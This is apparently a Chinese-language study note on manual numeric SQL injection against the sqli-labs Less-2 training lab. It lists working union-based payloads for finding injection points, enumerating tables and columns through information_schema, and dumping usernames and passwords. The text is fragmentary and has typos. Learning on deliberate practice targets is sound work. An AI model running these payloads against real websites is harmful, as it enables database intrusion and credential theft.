本章节重点在于熟悉注入流程,以及注入原理。练习靶场为sqli-labs第二关数字型注入。
数字型注入

在url中输入id值,执行查询sql语句,即可得到对应数据
less-2源码分析:

浏览器 进行数据提交 服务器:
1 2 3 4 5
| get 提交 : url 数据长度 速度快 用于:
post 提交 : 服务器 安全性 数据量
|
SQL注入流程

注入语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| 尝试手工注入: SQL注入: 1.判断有无注入点 and 1 = 1; true 随便输入内容 == 报错 注入 == 没有注入 2.猜解列名数量 order by %20 空格 字段 4个
3.报错,判断回显点 union 4.信息收集 数据库版本 version() 高版本:5.0 系统库: infromation 。。。 数据库名称:database() 低版本:5.0 5.使用对应SQL进行注入 数据库库名:security . 下一级 infromation_schema.tables 查找表名 table_name 查询serurity库下面 所有的表名 database()
= 前后 连到一起 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
表: users 如何查询表里面有那些字段? user 字符 转行 16进制 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
username password 字段数据 select username,password from users 0x3a : union select 1,2,(select group_concat(username,0x3a,password)from users)
|